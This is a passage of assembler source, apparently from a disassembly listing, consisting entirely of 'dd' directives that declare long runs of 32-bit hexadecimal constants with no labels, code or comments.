		dd 60BFE415h, 66F83099h, 18515B25h, 9798B499h, 0A1F280F0h
		dd 6A70E398h, 2C39B290h, 3B913A1Fh, 0DE632F1Ch,	0F1723A06h
		dd 1F65E7D3h, 0E95544FEh, 2575ACFEh, 34B8555Dh,	0E95CF766h
		dd 7D582D5Ch, 0DCB52994h, 4E5D2548h, 0B67AF3A9h, 24BA5F31h
		dd 98A2F223h, 64C3C3Ah
		dd 0EBC14866h, 14900708h, 9EDEF509h, 3E0550Eh, 8C4C43B3h
		dd 8BF12553h, 85F6CD14h, 28570AE9h, 1055BB3h, 659968F9h
		dd 49296854h, 0C73117A1h, 0A285BA06h, 0C5EA0F3Dh, 929DE005h
		dd 53C0EEEDh, 0B56DA0E9h, 0CFA86CAFh, 0B0019625h, 2EF3135Ah
		dd 54790490h, 96802DDh,	33EDD57Bh, 52629F29h, 54D66056h
		dd 13060325h, 1DD6E95Dh, 12AD4E3Eh, 60BB0AA3h, 4152D5C1h
		dd 0C25B7B25h, 0F835490Dh, 0B7CD7670h, 8F7DE712h, 0C4FA6DA0h
		dd 3B53802Bh, 81021417h, 0DE7C04CDh, 2A505F0Ch,	498FD703h
		dd 5BEF014Fh, 8B13AB84h, 2D7B63B3h, 635C6C95h, 4D8C3460h
		dd 882948B0h, 0FB665235h, 6C31AB91h, 0BCE9FC8Fh, 2EF099F9h
		dd 0C0200FF6h, 0E6B71390h, 0B1D74EF9h, 0CBFC7A45h, 6DFDBEE4h
		dd 0E4CE0D86h, 207FECB7h, 666F9FEBh, 0CDF92637h, 0B8459D28h
		dd 0D8B12B6Fh, 6CE79D16h, 8E49322Eh, 254948FEh,	0F6041ED6h
		dd 0B91D20B5h, 0EE883482h, 0C37682E9h, 780E19ACh, 7C5D0B30h
		dd 0D8C47AC4h, 0A0992A25h, 0CC79970Ch, 8BDCB516h, 68D9F7C0h
		dd 0CB4E4D6Bh, 0C0442384h, 8E5C15Eh, 992E91Ch, 0B43C5D2Dh
		dd 0BAB84198h, 6866561Dh, 8E89769Eh, 80A676E0h,	0CD5AFAF5h
		dd 46EC8715h, 0A206D4h,	79011836h, 0B57BDD68h, 0E914BE66h
		dd 9BDE31Ah, 8F95B450h,	28624B73h, 0FFEBEDACh, 5022B4C9h
		dd 7EAC1D7h, 2D1C44C9h,	0C7E0E0E6h, 512B92B5h, 36C48FF5h
		dd 0E4695E96h, 9802CE93h, 0E911C420h, 9CC350D8h, 0DE742FD0h
		dd 0B5E160D0h, 0C868F990h, 0C2493FFBh, 647F7CD9h, 277BB1F9h
		dd 20AB4A4Fh, 54F3E921h, 25931495h, 97E69D84h, 90D8E225h
		dd 9FC828C5h, 376C1657h, 5D39732Ch, 3CA201B0h, 0C16396F2h
		dd 6F22C7FBh, 2EC7FB96h, 0CCF653h, 1D31B9B8h, 0E1D17DA3h
		dd 0F7F9870Dh, 2C2B08DFh, 0E44E9AF8h, 0D5180F31h, 0A938D64Dh
		dd 0F44E579Fh, 0A2B7EF68h, 0D5055EAEh, 0C1291A24h, 0D2DA4Dh
		dd 2704F028h, 33F95A6Fh, 0E6073EBh, 1C1678B5h, 68C302DFh
		dd 0E95E56F0h, 2B3BF262h, 2EE68161h, 0BE2B49E1h, 44FE053Dh
		dd 0CBF22E30h, 545250ECh, 0FB505A2Fh, 34C496A3h, 4CE0AE1Ch
		dd 3FE2B55Fh, 0C9577455h, 30A35BD7h, 6FB8687Eh,	0BEA8CF91h
		dd 0F446DA02h, 70AAE925h, 0DBD8F7BEh, 972C920Eh, 45001DFCh
		dd 5E29834Bh, 27482968h, 0F4A30978h, 25EB2630h,	5A4F6082h
		dd 23162505h, 0C1CE66FCh, 2597740Fh, 5920A06Fh,	70245CBFh
		dd 4450CDE9h, 92E04727h, 0C52030B8h, 962FB278h,	444B82ABh
		dd 3CC11075h, 0F0D97BD8h, 0B6575444h, 40C565E0h, 0C2FD688Dh
		dd 7D723FFEh, 4CC5578Bh, 0A8CFC5A7h, 0C450AE6Bh, 893565C3h
		dd 5B53F4Fh, 5209EF00h,	5301E79h, 1EC8C3E7h, 3D84E2Dh
		dd 0CA2CE972h, 0DCC073A4h, 0B007B44Ah, 12560B6Fh, 9C09675Ch
		dd 3409E970h, 0D54FE020h, 0DF0C70C5h, 79ED81C7h, 193135Fh
		dd 4FAAA855h, 8302C3A8h, 49308058h, 42A4E240h, 0DE15C525h
		dd 0D6FC2591h, 0CEF0634h, 0C24D6700h, 0C806CE03h, 0CFA016Eh
		dd 4C641AD0h, 4C0D096h,	5D4D2D40h, 2DBF9084h, 60681D14h
		dd 0E8278008h, 85E07D3Eh, 2513B8C3h, 0E4BB29F1h, 0DC4C8851h
		dd 665E271Dh, 0F2B22540h, 81204EFFh, 0A72FD3E7h, 2B50267Ah
		dd 0A11E825Ah, 0A86801CDh, 810E526Dh, 4119D848h, 35583E14h
		dd 56F6B06h, 0FBCA86CCh, 3B7DBB01h, 2C2994D1h, 0CB60E706h
		dd 4EE230E4h, 8ACDBB35h, 200CF43Bh, 78CC1C05h, 2CB08DE9h
		dd 7DD7582Ch, 83EDA12h,	0BA00C406h, 99E455Bh, 0ECD74A89h
		dd 1B82F5AEh, 0F7879017h, 4B8B2649h, 0BBA416DEh, 0B710CDCCh
		dd 0EA5D3A84h, 2C7B44B9h, 0AD7AD799h, 8303EC5Eh, 2A5059h
		dd 955D10BCh, 0E9E7D123h, 0D35B3925h, 0DD8AF6Fh, 5E8C710Eh
		dd 0BB53C501h, 0FFE90805h, 0AB4B46B8h, 0F6C6008Ah, 0AB81B36Dh
		dd 7C5FFE46h, 0B7615A6Ah, 0A9A0A002h, 1E3727h, 80F681EFh
		dd 28220CFAh, 0EE82F031h, 5C294040h, 0F2788FDh,	1689E7F9h
		dd 8736D48Ch, 45799DE3h, 0F60EBE7Bh, 1630070h, 2541E9DFh
		dd 0BE51FEF2h, 48E56ADh, 76AE172h, 20F6E408h, 8A03609Ch
		dd 6C714876h, 0C4FE91Ch, 0F1F44C38h, 0A8331A95h, 0CA1EB216h
		dd 79B7160Ah, 24DB4D14h, 0FD4B87EFh, 2809A1CFh,	0B402DFFAh
		dd 903DE4Bh, 74FCBAC0h,	41762D1Eh, 78AA052h, 0C8203F11h
		dd 5C21C82Ah, 0DE0307A4h, 40206251h, 1431FAC4h,	9E384223h
		dd 8405A00h, 0CCE94352h, 29108097h, 4BE268F7h, 0C1E1CC10h
		dd 2BB82F12h, 0EFC382AAh, 20775E55h, 0BB1540DDh, 0BD318403h
		dd 0E1D9215Bh, 18AFA508h, 0EEE43F02h, 536504FEh, 0A54E940Fh
		dd 9CAA7F24h, 749D5876h, 8C550FBh, 55CE6A9Dh, 45956078h
		dd 277027FFh, 0E5209202h, 0A102E957h, 5ACE2CEBh, 7475DF20h
		dd 0ECDDD907h, 0E8E15852h, 4D7862Fh, 16EF13BDh,	4FDC316Ch
		dd 0F29C7A28h, 0E0109009h, 0DE688037h, 0F97FC2F3h, 83A7483Ah
		dd 5D8F736Ch, 60F99C30h, 0BF1AE468h, 6CF4186Ch,	9A6947B4h
		dd 4182FD89h, 81000E92h, 9249CCFh, 0EFC13667h, 10E76B00h
		dd 217FE649h, 3DC3F715h, 38B95ADFh, 2721DB41h, 728CAC28h
		dd 0CE5C0481h, 647F79C5h, 17C2EBD5h, 0ADFD6594h, 202533A2h
		dd 565DB747h, 258D3873h, 7DEBC1A5h, 96EF6AD9h, 87AD5D16h
		dd 0DB5B5F14h, 0AB5E0A00h, 1AE5817Fh, 274B4371h, 380F68ECh
		dd 0CD806275h, 96845F4h, 80137590h, 71FCECC8h, 0BC64FA27h
		dd 26B4681Fh, 31581585h, 5DC3D0EFh, 0CA2F3B88h,	52B47D89h
		dd 5244E994h, 0A129F3FBh, 0D82FC668h, 784AF2C8h, 0EB4E78E7h
		dd 222EC62Dh, 4758612Fh, 0BE0F294Eh, 8B36E952h,	6D045E9h
		dd 2EE7F3E9h, 3F9CD095h, 7B773508h, 0F758B757h,	5416BD4Eh
		dd 2EF7DEBBh, 4096C234h, 7B5FC40Bh, 5BDD8F5Eh, 0BAC024BEh
		dd 30C66299h, 20A63D31h, 0BD2B90D9h, 7B21087Eh,	48697628h
		dd 8EF70735h, 586609E8h, 0EB3AAAFFh, 56296B0Fh,	86747A8h
		dd 0F46713E9h, 5C16D39h, 91D1F7C8h, 56080719h, 7A68802Fh
		dd 750BB34Bh, 0D09CE94Dh, 16A0F659h, 121F9F7Eh,	0DF2B0D8h
		dd 0A4332700h, 205A3560h, 1DD89FD2h, 829E56BDh,	1C7D6B19h
		dd 0B4DEF880h, 0E918FA11h, 154D6C2h, 0BB1AD6CAh, 61A2C221h
		dd 0FE4ADC7Ah, 69E6DD4Bh, 0E334BE12h, 88E74B9Ch, 0F100D048h
		dd 0E961EB73h, 65BFD6C6h, 1EDF27CDh, 0EF2E947Dh, 317B0C90h
		dd 4E369095h, 2A188D4Dh, 4DDA1FBFh, 3B1A0B9Dh, 3797D531h
		dd 356BFADh, 7CA64C3Ah,	0B535B49Ch, 124ADEAFh, 1744A837h
		dd 5A09C54Bh, 2549E6D5h, 345A0D8Ch, 0E192CDEEh,	0DEF6590Eh
		dd 88406280h, 5B705EF7h, 0CF992FDBh, 52AF3EE6h,	81AEFCE1h
		dd 0E09C5FEh, 0E27F2425h, 8CAB92C0h, 0C468FCE7h, 5103FE78h
		dd 0B2A933B9h, 0FCF38F23h, 0DD99892Dh, 817B4C5Ah, 0DB67F07Ah
		dd 276849DCh, 0AD03BA79h, 0F1173B71h, 0DC3A0F3Eh, 0A106BBBBh
		dd 6861725Ch, 3EDA97CFh, 69458202h, 121C2943h, 875B0A04h
		dd 8DA331ADh, 65BB3B9Eh, 6615B394h, 9560E90Dh, 0FBA4CA59h
		dd 0D3737289h, 6E3608C9h, 5DBE5609h, 6C4E81C3h,	0C23FC5A5h
		dd 0F0442E44h, 5562F207h, 0B0B47DA9h, 2C6874F0h, 645523CEh
		dd 9679885Bh, 55508997h, 0ECADE153h, 0C5FBF4D2h, 0B34CA74Bh
		dd 0E3FC09D3h, 25A953FEh, 9C9E655h, 296FE954h, 5AC2B59Bh
		dd 0E6DF1A6Ah, 0DE8927C8h, 897D3E32h, 3F8077A6h, 176263E7h
		dd 4F0DEC90h, 0A424604Dh
		dd 40DE50F1h, 9511BB57h, 2F59075h, 4A7D9845h, 703926ECh
		dd 3B4EEB00h, 45CB8168h, 0E3C1D3Eh, 0DBE3C14Bh,	40723651h
		dd 460939B0h, 8F87784Ah, 191C3F47h, 0F400256h, 0FEE88FE9h
		dd 5A0FDC75h, 179EFAD5h, 0CC6911E9h, 0E24180ACh, 2924A02Bh
		dd 0D8895F9Dh, 60565889h, 0E91211EFh, 0B886E0C8h, 0EC057795h
		dd 0E9CBAE29h, 0E130E916h, 0C3D02083h, 0C56A3CF0h, 2428C071h
		dd 223AD600h, 54EE8135h, 4C292563h, 0E6825F74h,	809D5E32h
		dd 7767F683h, 0C5A6063h, 48667F51h, 176849C2h, 52B0742Dh
		dd 6805F7D3h, 31AF021Fh, 6A45E9F2h, 93C3ECD3h, 1ED1C9D9h
		dd 5355DD86h, 0BF30C6A6h, 68AC14B7h, 0B35B4E4Ah, 0FF7C2EEEh
		dd 50C0E02Dh, 840D4AB4h, 0A7930819h, 0AAFC83Dh,	89538934h
		dd 5F401519h, 853B7631h, 5528AB2Dh, 7F57FEE8h, 997D9DDBh
		dd 0CB7B89BCh, 5EE04C75h, 0EE93FBF9h, 9E1CC344h, 305E41F3h
		dd 7B2011ACh, 63E0A48h,	69DB0CC5h, 1382B6B6h, 6DD7775Ch
		dd 4BB82E85h, 0D1D766F2h, 0C2670BE5h, 8BFD4EA1h, 0BAB26F3Ch
		dd 56E180F5h, 1A76342Dh, 6B69C604h, 4BF8558Ah, 0D4DB5E39h
		dd 0CBF8BEA2h, 0F07D2669h, 0DBAB81D7h, 1E60F235h, 587C4093h
		dd 0B4836EB7h, 796A4788h, 4BFD98DDh, 9D9525FAh,	0EE65060Eh
		dd 1939F75Dh, 0E13A5551h, 0EDDEFD69h, 0F8E062F2h, 2C1DA8F6h
		dd 23575BFAh, 0B72F0CB8h, 0B85B9BC3h, 4FA12BEFh, 0A96021EFh
		dd 0BEE36E23h, 0F8BA1679h, 9D14A9FEh, 0BDF30397h, 7F19E14Fh
		dd 59E1FD99h, 0E4EFB388h, 3ADABE01h, 0B2205245h, 0D4A781Ah
		dd 8EEC119h, 262FC3EEh,	0DD2DE229h, 70B77058h, 0C4085B7Ah
		dd 7E7FF36h, 2FB91A10h,	0C424F705h, 177DE963h, 37CC4DBAh
		dd 3E120405h, 854AE96Fh, 0C48A98ACh, 9DAE0F78h,	9365E0F6h
		dd 0DC2D37Bh, 0B6BA5DCAh, 5112075Fh, 0CF54F137h, 0EA9304E2h
		dd 34EFE91h, 0AE211297h, 4DB04804h, 2A418DAAh, 0F2106CE6h
		dd 685506BCh, 20936D9Fh, 79BA0B6Bh, 95664B20h, 8DF15E09h
		dd 5D300D1Ah, 0ADC50D18h, 548A3819h, 80F5BC0Ch,	2ADD9E30h
		dd 80C0F9E9h, 257DDBBEh, 23FA098Dh, 305A0881h, 13429487h
		dd 7CFD2DD6h, 70878B11h, 0A6C1338h, 7A89FE0Eh, 0B0C6F22Eh
		dd 95095468h, 831E93DBh, 0F71C2880h, 985156DFh,	1B5C0039h
		dd 68B92348h, 2850E12Ch, 98970ED8h, 818630A3h, 0C4B06A49h
		dd 55D0BFFCh, 57958995h, 1497A8BCh, 412BB0E5h, 0F8F66EEDh
		dd 0B0F1302Fh, 254B7391h, 71EE80A8h, 0A2C7A56h,	491D0CF7h
		dd 346BE56Fh, 0E36DFF4Eh, 6AD5D5h, 2AFD2591h, 35013350h
		dd 1FE02248h, 4070C589h, 0A93EE10Ah, 0CE0893C9h, 0CE890E22h
		dd 0A8DEE1E4h, 7851CD3Dh, 127BD821h, 0B3D16708h, 8D001355h
		dd 0AAA31DF7h, 98FE8933h, 22E5A90h, 3D91BB7Ch, 0B29592D8h
		dd 28C65ECAh, 16820909h, 8E936EB1h, 62E05CCBh, 0F85AFDE9h
		dd 0E67673B4h, 28F21BECh, 1EAC10FCh, 0E5525BDEh, 7F9BFB09h
		dd 1B78A498h, 50691489h, 9C16031Ah, 301DBA8Eh, 873EE5Dh
		dd 0B793F150h, 478454B6h, 1F80164Dh, 0BFFED8FAh, 5F0188E4h
		dd 31405189h, 0FDCD5AD7h, 5C3D987Bh, 94733A4Bh,	5306E0C0h
		dd 76FD76B3h, 0B0501CEBh, 17832844h, 0BF5BD930h, 0CDCAEC2h
		dd 681307E4h, 6EEC6BE3h, 0FFCF12A4h, 5F512192h,	4BA441C0h
		dd 0E1623181h, 96E2B7Ah, 0F3B5138Ch, 0FCD85E72h, 2F42417Ah
		dd 82DB0AF0h, 333D2DC0h, 58367600h, 2A16AE0Dh, 7E2D0F51h
		dd 1F92E2FCh, 0AD2C7380h, 756A60B1h, 0BA1745F0h, 47BD5F1h
		dd 402E1EC5h, 77EA60C6h, 2F7BB091h, 4425B5Eh, 0BE797055h
		dd 0ABE961B9h, 9CCE2AA5h, 0E9570760h, 0CC94EF27h, 1AFC717h
		dd 3F0D6291h, 0C1897042h, 5D27F996h, 49E52E20h,	2EBE3012h
		dd 0BF43035h, 9FF2FCE9h, 0C6CF6A59h, 3C8D4473h,	25122C77h
		dd 2E5E9BEh, 7AC26C6Dh,	26384955h, 951893D8h, 780AF70h
		dd 3EB685E9h, 30068633h, 680D0706h, 0D0A60FF9h,	3B8CBF80h
		dd 1640F725h, 8F5A257Eh, 9481765Ah, 0E09203C7h,	0E17A6025h
		dd 50F456C9h, 5018BD80h, 56979927h, 4ECC444h, 5F8ABC81h
		dd 0A8EFC119h, 0BE7460E7h, 4E68C813h, 99C69E00h, 0B5D39EE9h
		dd 53582CFEh, 25FB7289h, 46775BDDh, 33CD9718h, 0B7AC2113h
		dd 0AADCC1B3h, 0EA4B32B9h, 6255D30Bh, 0FC70F7AFh, 0C0F6295Bh
		dd 8629974h, 0D62D16E0h, 0F4C58122h, 2134D60Bh,	40EDE14Eh
		dd 96685A08h, 0BBB35D5Fh, 0D5503205h, 818C8429h, 3E12BD3Eh
		dd 0BD84DB12h, 29B14CACh, 0F9406FF1h, 35942136h, 6FB1A15Bh
		dd 5A48CF7Eh, 2012C800h, 4815888h, 0EE768DCAh, 9801FA35h
		dd 45B204F0h, 0E9095A38h, 0EC7475B1h, 0F22F5B51h, 8BF2C4AEh
		dd 0C2B5E7FEh, 5759C830h, 46CEF079h, 0EE46EBBFh, 1717B218h
		dd 3449D468h, 4176C1B0h, 0ADE441BDh, 5F2E9297h,	686BC8EEh
		dd 0E957B361h, 0A673ED1Ch, 0F6F46064h, 0EC8932FEh, 1D447D29h
		dd 0EE9F6375h, 1FAB73Eh, 9788F0BFh, 0E13B800Dh,	523C340Dh
		dd 49D8545Ah, 0D7DD4A9Ah, 6063417Ah, 30F36840h,	0DCBD9937h
		dd 6930033h, 997095BBh,	0EB2A3157h, 0C281B55Dh,	5281057Bh
		dd 9A1679A3h, 0B30B48B0h, 0E199520h, 8B098F2Ah,	0A3BC0C47h
		dd 5BAD06BBh, 5429A321h, 1ECB8101h, 4B062214h, 0FADC7271h
		dd 98D44860h, 1B1A2402h, 0FBF4292Ch, 0A79C0820h, 5927F189h
		dd 0B3AC8983h, 527985C4h, 0FB9FDEFAh, 82D42D58h, 81E0F363h
		dd 0C856DD8h, 0E8926088h, 42B0E36h, 0F1011F86h,	154D7EE3h
		dd 0CE10030h, 11666D29h, 632F4C1Ah, 0FB1CE031h,	39DE1135h
		dd 0E9084029h, 0FECC8412h, 6460C2B6h, 57A34E1h,	638B56C1h
		dd 0AC236874h, 17F7D884h, 0F8CD7EA4h, 2A7C7D0Ch, 4EC56619h
		dd 412D429h, 0BEFA72D1h, 0BB161EB2h, 7E34E37Eh,	9C424C41h
		dd 1F8DFEFh, 9B900176h,	8BBF234Ah, 0F388138Ch, 0CA784A09h
		dd 4AA67EA1h, 925883Ch,	1258BD02h, 4AC183F8h, 0F5FF03EBh
		dd 1B9A0A18h, 4C1A3C09h, 0ED0EFF97h, 99A954E7h,	116CF900h
		dd 0C9B01D6Fh, 598CEB4Ah, 799D01B9h, 496836D7h,	0EE316E17h
		dd 580263BBh, 0D01A4456h, 0CD167711h, 5AE6C13Dh, 9814C6A6h
		dd 6A096BCFh, 0B57AD79h, 186257FFh, 0DB2582D5h,	0A2FC293Ch
		dd 75F468C1h, 0B7C13438h, 7E1F4D74h, 0D3CCB9A5h, 56E2601Ch
		dd 0F013A2E1h, 0D1F75516h, 22E65704h, 3C69FECh,	285CCFC7h
		dd 39803C78h, 75CF9FE5h, 1E418ACCh, 7D509B8h, 9C001BC0h
		dd 6DEE4E90h, 5D2B89BFh, 0B92E2DE0h, 499584A4h,	0E9DB29ABh
		dd 759DE148h, 854BFDCDh, 3E2CFFA5h, 9B209753h, 73DB4CEDh
		dd 2030AE58h, 0A9524B01h, 56009C58h, 255873A0h,	487F1882h
		dd 2D058E32h, 0AD9C2C02h, 7088E9B0h, 0E43174B0h, 6081B0C7h
		dd 36B512BAh, 0EE728852h, 805AF032h, 3BD1D73Bh,	653CB901h
		dd 0AF2E0751h, 80E18D32h, 17C0C9EBh, 0F4167FB9h, 37D2022Dh
		dd 3D9E9B4h, 0F7825A55h, 0BDF7916Bh, 525B01B9h,	7FADEC50h
		dd 587B14A3h, 0E904062Dh, 0AAFEDA22h, 3D10D29Bh, 0D8B8007Eh
		dd 5436D27h, 452E27BCh,	84038FFEh, 45E68206h, 0E96AE1B4h
		dd 0A8BBA499h, 62E9829Eh, 800949EDh, 37684085h,	51778C07h
		dd 88D7B109h, 69170ECEh, 0F478F56Fh, 7CBFD6E4h,	0A8AF4489h
		dd 15BF4A2Fh, 0B74EAF01h, 0D6B3D6A5h, 5B4AEE4Ah, 0B8939E1Fh
		dd 790B0535h, 2FB77AA8h, 0AC4D6AE4h, 4BBF5708h,	5074B400h
		dd 81020983h, 277945F6h
		dd 68C3407Eh, 0C120FA30h, 47C3FC0Ch, 94878DBh, 77FD71E9h
		dd 0A2C25E30h, 9585D782h, 0FB9DD456h, 0EB80D3A2h, 9C5537F5h
		dd 0D4971B98h, 0DC685053h, 6CC31C03h, 48D5F75Dh, 2B0E6504h
		dd 0E942E17Ah, 0E6BE90AEh, 0D766A1B7h, 0E741383Eh, 0E934C9E6h
		dd 0FF2D4BD8h, 0C15B4C82h, 44FA28E6h, 2BD00AD9h, 18838C5h
		dd 9139AE21h, 929B6989h, 0A3C9A01h, 73710DA4h, 0E97AF42Fh
		dd 46B27925h, 0B2505B80h, 0AE45CB37h, 80C1456Bh, 0CB2F83FAh
		dd 0BE8E34E1h, 51140789h, 0E1B55717h, 0FE2BD6F1h, 0A43E652Dh
		dd 574C7135h, 0C188C787h, 0DCFFCE25h, 0D44E5BA6h, 68C2D6ADh
		dd 795D565Eh, 9677EB63h, 52BB0B1Bh, 6170782Eh, 0A0530609h
		dd 25D07718h, 24FCC095h, 23102F2Bh, 0A662A2D6h,	95505E0h
		dd 3FED06BBh, 3A24542Bh, 0A3103302h, 0CDF87F26h, 8C590882h
		dd 53029DA9h, 53A867E9h, 63688581h, 0E5936224h,	870F1D7h
		dd 912E7A8h, 0E879A902h, 3D05D9FEh, 1B65198Fh, 286499B4h
		dd 7B01FEF7h, 0BE255B62h, 162A9620h, 0BB7CFB43h, 802EBC4h
		dd 7EEBFCE9h, 0EB78BD6Bh, 6D6D7FDAh, 0C649B80Bh, 58750A79h
		dd 8C30C2h, 3BA823B0h, 5F4CF921h, 5C3804C0h, 15072A63h
		dd 0FBFDF4ECh, 2D3AB3CEh, 0CC762994h, 741114Ch,	13CC8BA0h
		dd 0E2FEF911h, 6EF3846Ch, 53F9435Dh, 0DE8929C1h, 43027E5Bh
		dd 0D9029FE9h, 23948982h, 81518309h, 0E34BE902h, 0C623DCFEh
		dd 0F7360687h, 2E4C0BD6h, 62A0818Eh, 3655535Bh,	0CFE9384Dh
		dd 0B7EFAC4Ah, 0FEEEEFD1h, 9DFBE27Bh, 0B67635A2h, 6EE2FA20h
		dd 902015DBh, 4FBB05F7h, 1E70FE7Ah, 0B4334184h,	61EBC14Ch
		dd 45EACC8Eh, 6F9EE36Eh, 0BDDE432h, 4CE98C80h, 0BE42C3B0h
		dd 0ABC23E8Ah, 572828FCh, 48F7DD54h, 1C330D07h,	5637DB0h
		dd 1C72E06h, 6CA70820h,	0E6048812h, 8907269Ah, 45F9E2C3h
		dd 4199C4FFh, 0A708ED8Fh, 366C7DDCh, 0D334E3B5h, 0B8A39F14h
		dd 0E90B135Bh, 511C801Ch, 0B5F0595Fh, 58023D94h, 6D5C1568h
		dd 0D996AF13h, 0A088F897h, 97D5DA78h, 502FCD46h, 0C913F9BBh
		dd 0BA25DD20h, 5B02120Ah, 0EFFF6A05h, 0FD0362ACh, 0CE5F834Bh
		dd 337B8FA9h, 5D4E8964h, 81CC21B1h, 5E77F55Bh, 963D7815h
		dd 9284BB4Ah, 59896DE8h, 0E770F442h, 995FAE1Ch,	0FC791A3Eh
		dd 71B97E18h, 10C762D2h, 0F24FF3D3h, 99362AA9h,	0CF012098h
		dd 0C1102017h, 0AE2002E6h, 8D2B599Bh, 64305010h, 9CF2F084h
		dd 0DB92454Eh, 656A0478h, 5AF16D4h, 0FACB6A00h,	0DC2ECDCh
		dd 234E491Bh, 0B95E324h, 0F3005D08h, 30D2C4Ah, 609DD83h
		dd 8970D7C2h, 5ACCF2E8h, 7750CEB8h, 0B75DFE52h,	0BB53F8B8h
		dd 0FC5C1E03h, 0A485E915h, 0F040AD88h, 10B464D1h, 0DFB9ABBEh
		dd 49161959h, 100E8CBDh, 43A1E41h, 1084B6EBh, 0F9981391h
		dd 0FFA4CBF2h, 0C9336121h, 51A28C78h, 0E26AD1D7h, 0C7FEB5CAh
		dd 0A441448Fh, 0A8BB893Ah, 64C50052h, 20E97914h, 0EEFF551Dh
		dd 680FB6BAh, 0AE137595h, 553F95E7h, 543FBDBFh,	0C9B6BA81h
		dd 72EED9E9h, 31A95A2Bh, 459E5B2Fh, 7208B6A1h, 154332E1h
		dd 27E4D607h, 318B2573h, 0AD417EC6h, 528695F6h,	24125A58h
		dd 0BC12ADE9h, 168D2576h, 0D7721174h, 0F0900B79h, 9522BB4Eh
		dd 840B559Ah, 0BF1C665Dh, 5D5AC17Eh, 33F15DF4h,	20771E05h
		dd 3D3071B7h, 0F7FA6D3Dh, 1C4E172h, 14E7AFC2h, 0A402F95Bh
		dd 0D02156D0h, 9C4EE9h,	59990566h, 0BC06F8h, 0E9170720h
		dd 0B4B23258h, 616A6802h, 96571F3Ch, 2CE0420h, 940B481Eh
		dd 82DE00E7h, 89D53B15h, 1A207725h, 7E7B7511h, 5EF1E3C5h
		dd 0D5BB3D7Ah, 0CE257B03h, 0CC188C12h, 192510h,	5712C7Eh
		dd 7942CE4Dh, 0C3728690h, 2FB5DA48h, 0CA53FC80h, 0BBA5A10Ch
		dd 0E28EBACAh, 0A97E3351h, 0B2CCD7DFh, 207D9930h, 0C11897FDh
		dd 0AD805DABh, 1E932568h, 53C44274h, 27911B80h,	0BB3902DBh
		dd 8462FD0h, 3328B574h,	0EFA8DCD7h, 1E3C5D81h, 0D512A0ECh
		dd 0E7282A2Eh, 0E1067652h, 32F1B2E9h, 1C10D306h, 7B8E0EEBh
		dd 4992DE50h, 9756D28Ch, 0BA402E51h, 4EB70D4Dh,	84CCF13Ch
		dd 0CA810806h, 1A447E80h, 31CD33E9h, 37B14648h,	0A9ED7A2Fh
		dd 82FA5B7Eh, 79DF542Eh, 9C5769CBh, 0C9227759h,	0E80D1C0h
		dd 2D1B4BF6h, 47CE2B49h, 0B5DB4ACBh, 245F2927h,	2BD4E4BDh
		dd 0A411A2AFh, 0CBEB9601h, 133A525Bh, 78A0AFCDh, 0BFB5E6E9h
		dd 773A9CA0h, 0B2CC4DD8h, 98FBF911h, 31615AC6h,	1CA2F82h
		dd 1060478Fh, 0BBB140C1h, 28370F38h, 0F52EF677h, 0E90B6AC8h
		dd 62BDA68h, 1F736EEBh,	26D05A2Ch, 89FE4A08h, 0D3C88016h
		dd 0E92B7E7Ch, 8C8359CCh, 0B0B6E0D2h, 0D93157C5h, 0E6193687h
		dd 0A8D20FCh, 0CBB56D98h, 0DC8AD923h, 0AB5FAA96h, 7709023Ch
		dd 0A96CBF6Fh, 69E1516Bh, 0BED028E9h, 0E5E3BD6Bh, 29142DB8h
		dd 1184FA45h, 989123E9h, 68125548h, 0A444FFDh, 0FE12E1AAh
		dd 37E0E917h, 2ECB35C7h, 0AAA1EE46h, 27170C82h,	0A3074990h
		dd 0E961CF42h, 845C207h, 16701B38h, 79E868h, 75471B88h
		dd 0E726C174h, 893B5A05h, 4099948h, 0A81302C2h,	40054EFDh
		dd 49AAF187h, 1C629929h, 80C4E057h, 8501FC4h, 0F7A07BE1h
		dd 0D2D5F02h, 5743CA38h, 709A6E2h, 0FCAB0F48h, 51526680h
		dd 0F6C8A850h, 293397D9h, 0A20B1ABAh, 53C227h, 2595D5F7h
		dd 0A1264D00h, 0D8B92D18h, 8BF95887h, 0F7895809h, 0C23DEE9Ch
		dd 17F00A06h, 8A0CF01h,	0F5D85F5Ah, 0E385B577h,	0FAA335BFh
		dd 3A2C81D1h, 0BB511C92h, 0E9A3AFF2h, 0D56877CAh, 0A71214DCh
		dd 25A44234h, 4F074076h, 0FC1F7890h, 1EE0E76Dh,	5CB3EE2h
		dd 0FF41D9F7h, 3DF1BEB0h, 7C3B182Fh, 0BBC70979h, 479164BAh
		dd 0D8123E86h, 0F7C138EAh, 63F3D65Eh, 0CE7558CBh, 0BF507692h
		dd 0FAB83618h, 0B48A05B1h, 4712DCC2h, 2881C2ABh, 698A3441h
		dd 0F6020B7Dh, 0F2C0D5D1h, 880141F1h, 0E23059CAh, 0FC2E2858h
		dd 0A7152493h, 0ED93549Dh, 0F1A38D5Bh, 0F95321BAh, 0D193D9h
		dd 0AC72F8F6h, 59CE09B8h, 0EEC1D6DEh, 0C6D2941Eh, 92232E30h
		dd 0AAF02020h, 0F1FF20D2h, 2F002156h, 296204FFh, 8226ACDEh
		dd 5F483168h, 0B104309Ah, 57EEDD5h, 30DF69E8h, 451112EEh
		dd 0AC26E9A8h, 31950EC6h, 49F84FC7h, 0D57FE241h, 308F5FE5h
		dd 0D02826EAh, 0B0EE49FCh, 8B1CFC4Bh, 97D7D885h, 89EED8DBh
		dd 6295F149h, 3C94CE01h, 0F736E917h, 0D430D8C9h, 70812A9h
		dd 0EAB847h, 81634C29h,	0B452AF2h, 3AE9993Bh, 0D388B522h
		dd 0AB220EFFh, 0FA6F66EBh, 1872E5Ch, 0DB5042F2h, 0A58909h
		dd 397C264h, 20D69561h,	0D0EF010Ch, 0BF023D2Dh,	0F1F5E992h
		dd 0FFCAA535h, 7128EE6Dh, 0E1120F5Ah, 6F1839FFh, 9D357FDh
		dd 665ED204h, 12CB064Fh, 1EC9F442h, 929DB050h, 292DB002h
		dd 0BD9D459Fh, 68F3CBB1h, 64E37F4Dh, 0B65A5412h, 808F8C7Fh
		dd 1AE403Bh, 0F5FED66Bh, 25F5FD8Bh, 20FB5DB2h, 26680393h
		dd 9CDA114Dh, 0B89E5801h, 0C55397E9h, 0A709D8BAh, 9B1A40Fh
		dd 661BC4F2h, 0C0770BF5h, 98935E6Fh, 0BE752056h, 0C9091D90h
		dd 0DF730FD9h, 0A8D4FF05h, 8F8F4FADh, 1212825h,	3BFEADDAh
		dd 0FBA1D6A8h, 1D03A65h, 6207A423h, 1E245C89h, 0F5FE0909h
